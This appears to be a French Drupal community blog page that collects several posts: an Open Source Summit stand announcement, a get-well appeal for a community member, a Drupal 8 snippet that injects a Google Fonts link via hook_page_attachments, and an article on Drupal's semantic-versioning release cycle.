Le module Paragraphs est une très bonne alternative à un éditeur WYSIWYG pour qui veut permettre aux utilisateurs d'un site Drupal de réaliser des agencements de pages complexes, mixant texte, images, vidéos, diaporamas, citation, blocs de présentation, ou toute autre composant évolué de mise en forme.

Par admin

Open Source Summit 2016

Open Source Summit est la fusion de 2 événements (Solutions linux et l'Open world forum) et se déroulera le 18 et 19 novembre 2015 au DOCK PULLMANN à La Plaine St-Denis (Paris)

logo open source summit

Ces 2 anciens événements, l'association Drupal France et Francophonie (DrupalFR) était présent et c'est dans la logique que nous serons présent.

Ce rendez-vous se découpe de différentes manières, avec des conférences, des ateliers, et une partie exposition. Le dernier espace sera coupé en 2 parties avec une partie professionnel et une autre partie village associatif.

Conférence :
Vous pourrez trouver 2 conférences de ces membres :

  • Léon Cros : Génie collaboratif - Organisation, enjeux et impacts - le 16 novembre - Salle Barcelone (Ingénie logiciel libre)
  • Christophe Villeneuve : Les tests de sécurité - le 17 Novembre - Salle Pay-Bas (DevOPS)

Stand :
L'Association Drupal France et Francophonie (DRUPALFR) sera dans la partie village associatif et recherche des bonnes volontés pour venir nous aider à tenir le stand pour parler de Drupal et aussi venir nous voir.

  • Si vous souhaitez venir nous rendre visite, vous serez les bienvenus.
  • Si vous voulez tenir le stand avec moi, nous mettons à disposition un Doodle si vous souhaitez venir nous aider (par demi journée)

Formulaire de présence :
http://doodle.com/poll/iz7veniub9wsdhw8

Horaire du salon

  • Mercredi 18 novembre : 8h30-19h00
  • Jeudi 19 novembre: 8h30-18h00

Lieu du salon

DOCK PULLMANN
50, av. du Président Wilson
93200 La Plaine St-Denis

Pour venir : http://www.opensourcesummit.paris/Informations+pratiques_154_160.html

Demander un badge pour entrée http://www.opensourcesummit.paris/preinscription_3559_p.html

Responsable et contact pour le stand : Christophe Villeneuve

Plus nous serons nombreux, moins de temps vous serez bloqué.

Par admin

Soutenons Ismaeil

Bonjour ami.e.s Drupaliens

Un ami et ancien collègue, https://www.drupal.org/u/izus a subi une opération assez lourde, il est maintenant en convalescence pour un petit moment et il n'y a plus aucune inquiétude à avoir.
Nous connaissons son implication dans la communauté Drupal, autant française qu'internationale, il participe régulièrement à des évènements, co-anime des sprints de traduction et maintient Search API attachments entre autre de ces activités Drupal.
Autant dire que comme beaucoup d'entre vous c'est un passionné qui a voulu rendre à la communauté autant qu'elle lui avait apporté.

Aujourd'hui nous souhaiterions que cette communauté Drupal se montre formidable à nouveau et participe à sa manière au rétablissement d'Ismaeil.
Pour cela vous pouvez où que vous soyez, envoyer un message sous forme de mail ou une carte postale à Ismaeil pour lui souhaiter un bon rétablissement.

Nous nous tenons (https://twitter.com/Bes_fr or https://twitter.com/Florent_Torre) à votre disposition : https://twitter.com/ismaeil_ ou https://www.drupal.org/user/514568/contact

Pour lui envoyer un courrier postal, vous pouvez lui envoyer à l'adresse suivante :
Linagora, Ismaeil Abouljamal, Pôle Media de la Belle de Mai, 37 Rue Guibal, 13003 Marseille

Guillaume

En page d'accueil : 
Par Artusamak
Julien Dubois

Injecter une balise dans <head> avec Drupal 8

Injecter une balise dans avec Drupal 8
Artusamak
jeu 06/10/2016 - 21:18

Je vous partage une portion de code dont j'ai eu besoin de me servir à plusieurs reprises pour injecter des Google Fonts. J'avais tendance à l'injecter comme un goret dans le fichier de template html.html.twig mais ma conscience a fini par me rattraper pour faire cela proprement.

Si vous regardez html.html.twig, vous voyez que le contenu injecté dans <head></head> est généré de la façon suivante :

<!DOCTYPE html>
<html{{ html_attributes }}>
  <head>
    <head-placeholder token="{{ placeholder_token|raw }}">
    <title>{{ head_title|safe_join(' | ') }}</title>
    <css-placeholder token="{{ placeholder_token|raw }}">
    <js-placeholder token="{{ placeholder_token|raw }}">
  </head>

// Reste de la page.

Reste donc à comprendre comment le contenu de <head-placeholder> est généré. Mon réflexe dans ces cas là consiste à chercher dans le code du coeur si une portion de code significative (dans le sens "qui n'apparaît pas trop souvent comme résultat de recherche) m'aide à trouver comment ce bloc est créé. Pour cet exemple, je tente une recherche avec le mot-clé head-placeholder. Manque de bol, rien de significatif ne ressort.
Dans ce cas là, je change de tactique, je regarde le HTML final généré et tente une nouvelle recherche avec un autre élément significatif. Je relance cette fois ma recherche avec le mot-clé MobileOptimized. Bingo, je tombe sur le code de system_page_attachments() qui injecte cette balise. Je comprends dès lors que c'est le hook_page_attachments() qui se charge de la génération en injectant la balise qui m'intéresse.

<?php
/**
* Implements hook_page_attachments().
*/
function system_page_attachments(array &$page) {
  //...
  // Attach default meta tags.
  $meta_default = array(
    //...
    // Attach default mobile meta tags for responsive design.
    'MobileOptimized' => array(
      '#tag' => 'meta',
      '#attributes' => array(
        'name' => 'MobileOptimized',
        'content' => 'width',
      ),
    ),
    // ...
  );
  foreach ($meta_default as $key => $value) {
    $page['#attached']['html_head'][] = [$value, $key];
  }
  // ...
}

Il ne me reste alors plus qu'à adapter cela à mes besoins pour injecter une Google Font sur toutes mes pages. Cela donne le snippet suivant.

<?php

/**
* Implements hook_page_attachments().
*/
function monmodule_page_attachments(array &$attachments) {
  $google_font = array(
    '#tag' => 'link',
    '#attributes' => array(
      'rel' => 'stylesheet',
      'href' => 'https://fonts.googleapis.com/css?family=ABeeZee|Lora:400,700',
    ),
  );
  $attachments['#attached']['html_head'][] = [$google_font, 'google'];
}

 

Par flocondetoile
Adhérent

Traduire par le code avec Drupal 8

Drupal 8, nativement multilingue, propose une interface graphique pour pouvoir traduire aussi bien la configuration du site (les labels des champs, les titres des vues, etc.) que les contenus eux-même. Mais nous pouvons parfois avoir besoin de traduire de façon programmatique des contenus ou encore des configurations, notamment dans le cadre d'une usine à sites pour générer par exemple un site multilingue.

Par ftorregrosa
Adhérent
Florent Torregrosa

Retour sur la DrupalCon Dublin 2016

Du 26 au 30 septembre 2016 (du 24 septembre au 2 octobre en comptant les sprints) a eu lieu la DrupalCon Dublin.

J'y étais présent les 27 et 28 septembre avec Smile (sponsor Gold).

Ma première DrupalCon. Un centre de conférences vraiment top, que ce soit au niveau du lieu, de l'équipement ou du personnel. Une autre échelle d'événement, je n'ai pas le nombre exact, mais de l'ordre de 2000 participants.

Tags: 
Par flocondetoile
Adhérent

Altérer le contrôle d'accès des entités de Drupal 8

Drupal 8 dispose nativement d'un contrôle d'accès très évolué pour les entités de type Node, autrement dit pour tous les contenus d'un site. Les autres entités disposent de contrôle d'accès plus sommaires, même si l'évolution fonctionnelle agile de Drupal 8 va nous permettre de voir évoluer cette situation très rapidement, notamment par exemple pour une gestion beaucoup plus fine des droits d'accès relatifs aux blocs de contenu. Découvrons comment personnaliser et prendre le contrôle sur les accès aux entités.

Par Artusamak
Julien Dubois

Nouvelle politique de gestion des versions

Nouvelle politique de gestion des versions

Artusamak
mar 27/09/2016 - 14:00

La semaine dernière est sortie la version 8.2.0-rc2 de Drupal, c'est l'occasion de revenir sur la nouvelle politique des cycles de release et ce que cela implique.

Bien avant la sortie de la version 8.0, la communauté s'est penchée sur les solutions qu'elle pouvait apporter au problème du manque de prédictibilité des dates de sortie. La politique depuis des années consiste à dire qu'une version majeure est publiée (une version majeure étant la 7.0 ou 8.0) lorsqu'elle est prête. L'adage consacré est le suivant : «Quand est ce que la version Drupal 8.0 sera prête ? Elle sera prête quand elle sera prête.». La définition de «prêt» étant liée au nombre de bugs critiques identifiés dans la listes des issues de Drupal. Tant que son total n'est pas égal à 0, une version majeure ne peut pas être envisagée. Plutôt aléatoire tout ça… autant dire que cela n'avance personne, et surtout pas le monde de l'entreprise.

Oui mais voilà, depuis la fin du cycle de Drupal 6 et l'avènement de Drupal 7, l'utilisation de Drupal a explosé, peu de sites qui nécessitaient un CMS et avec une taille de projet de plusieurs mois se lançaient avec autre chose que Drupal. Bonne nouvelle, me direz-vous, et vous aurez raison. Sauf que, comme le disait notre bon ami Spiderman : «avec de grands pouvoirs viennent de grandes responsabilités». Les années passant, l'usage de Drupal a continué de croître et la suite logique a été donc le lancement des développements de la branche 8.x.
Un cycle de développement d'une version majeure prenant plusieurs années, les choses ont démarré comme à l'époque de Drupal 7 : plusieurs mois ont passé puis l'impatience a monté en flèche dès les premières annonces de l'utilisation de composants de Symfony au sein de Drupal 8 braquant ainsi beaucoup de projecteurs notre CMS fétiche. Les mois passèrent et avec eux les dizaines de milliers de lignes de code se sont accumulées. Le problème avec Symfony étant qu'une fois que vous mettez le doigt dans l'engrenage, il fait sens d'utiliser toujours plus de ses composants, repoussant d'autant la ligne d'arrivée du travail de réécriture. Conscients du problème soulevé et déjà rencontré lors de la mise au monde de Drupal 7 (satané Overlay qui a repoussé la publication de Drupal 7 de plusieurs mois), Dries et quelques personnes clés de la communauté ont pris le problème à bras le corps. Fin 2013, le principe d'introduire des versions sémantiques pour Drupal a été acté, la première version de 8.x ne serait donc pas Drupal 8.0 mais Drupal 8.0.0.

Qu'est-ce que ça change concrètement ?

Le modèle de Drupal jusqu'à présent excluait tout ajout dans le cœur du système entre deux versions majeures. De fait, il a fallu attendre 5 ans la sortie de Drupal 8 pour que des fonctionnalités essentielles au web d'aujourd'hui soient intégrées. Or, le web évolue plus vite que jamais et les besoins et usage des clients progressent rapidement. Les versions sémantiques offrent une nouvelle souplesse en introduisant un nouvel échelon dans l'évolution du logiciel.

Une version sémantique est un code découpé en trois parties numériques, séparées par un point, par exemple 8.1.10. On appelle la première partie, celle de gauche, la version majeure. La partie centrale est appelée version mineure et la partie de droit version de patch. Pour faire le parallèle avec l'ancien système, nous n'avions que les versions majeures et les versions de patch.

En ce qui concerne le contenu de ces versions, les choses sont plus claires :

  • les versions majeures sont garantes de la compatibilité. Ainsi, quelle que soit la version mineure ou de patch de l'application, tant que vous conservez la même version majeure, le code que vous avez pu écrire doit toujours être compatible ;
  • les versions mineures représentent les évolutions fonctionnelles du cœur. Il est permis d'ajouter de nouvelles fonctionnalités, qu'elles soient expérimentales ou stables (nous en détaillerons quelques unes dans un prochain article) ;
  • les versions de patch corrigent des bugs ou des failles de sécurité a fil de l'eau.

La seule entorse acceptée à ce nouveau système est le cas où un correctif de sécurité venait à rompre la compatibilité avec les précédentes versions. Dans ce cas et uniquement dans celui-ci, une telle modification serait acceptée dans le cadre d'une version de patch mais tenterait d'être limitée au maximum en redoublant d'efforts de communication et en mettant en place des outils, lorsque cela est possible, pour amoindrir l'impact sur les sites existants.

À quelle fréquence les versions vont-elles évoluer ?

L'autre avantage majeur de cette décision est qu'il permet de mettre en place un calendrier de publication des versions plus ouvert. La communauté a donc décidé qu'une nouvelle version mineure (8.1.0, 8.2.0, 8.3.0, etc.) sortirait tous les 6 mois. Les versions de patch (8.2.1, 8.2.2, 8.2,3 etc.) sont publiées quant à elles chaque premier et troisième mercredi du mois pourra être publiée respectivement pour les versions liées à des correctifs de sécurité ou de bugs.

Diagramme illustrant le cycle des releases de Drupal
Diagramme illustrant le cycle des releases de Drupal

Pour chaque version mineure, le cycle de release reste le même que pour une version majeure : la première version est une alpha, puis suivent les statuts beta, Release Canditate (rc) et la release officielle. Les développeurs peuvent donc maintenant savoir à l'avance quand réserver du temps dans leur calendrier pour préparer les montées de versions.

Diagramme illustrant le cycle des releases mineures de Drupal
Diagramme illustrant le cycle des releases mineures de Drupal

 

 

Crédits :

Pages